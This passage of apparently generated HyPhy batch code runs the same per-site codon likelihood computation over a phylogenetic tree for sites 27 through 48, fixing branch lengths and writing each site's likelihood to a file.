ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"27\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 28...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"81,82,83\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 28\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"28\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 29...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"84,85,86\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 29\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"29\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 30...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"87,88,89\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 30\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"30\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 31...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"90,91,92\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 31\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"31\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 32...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"93,94,95\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 32\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"32\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 33...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"96,97,98\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 33\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"33\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 34...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"99,100,101\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 34\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"34\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 35...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"102,103,104\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 35\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"35\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 36...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"105,106,107\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 36\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"36\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 37...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"108,109,110\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 37\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"37\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 38...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"111,112,113\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 38\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"38\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 39...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"114,115,116\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 39\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"39\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 40...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"117,118,119\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 40\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"40\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 41...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"120,121,122\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 41\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"41\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 42...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"123,124,125\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 42\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"42\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 43...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"126,127,128\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 43\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"43\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 44...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"129,130,131\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 44\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"44\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 45...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"132,133,134\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 45\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"45\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 46...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"135,136,137\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 46\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"46\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 47...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"138,139,140\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 47\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"47\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 48...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"141,142,143\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 48\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + 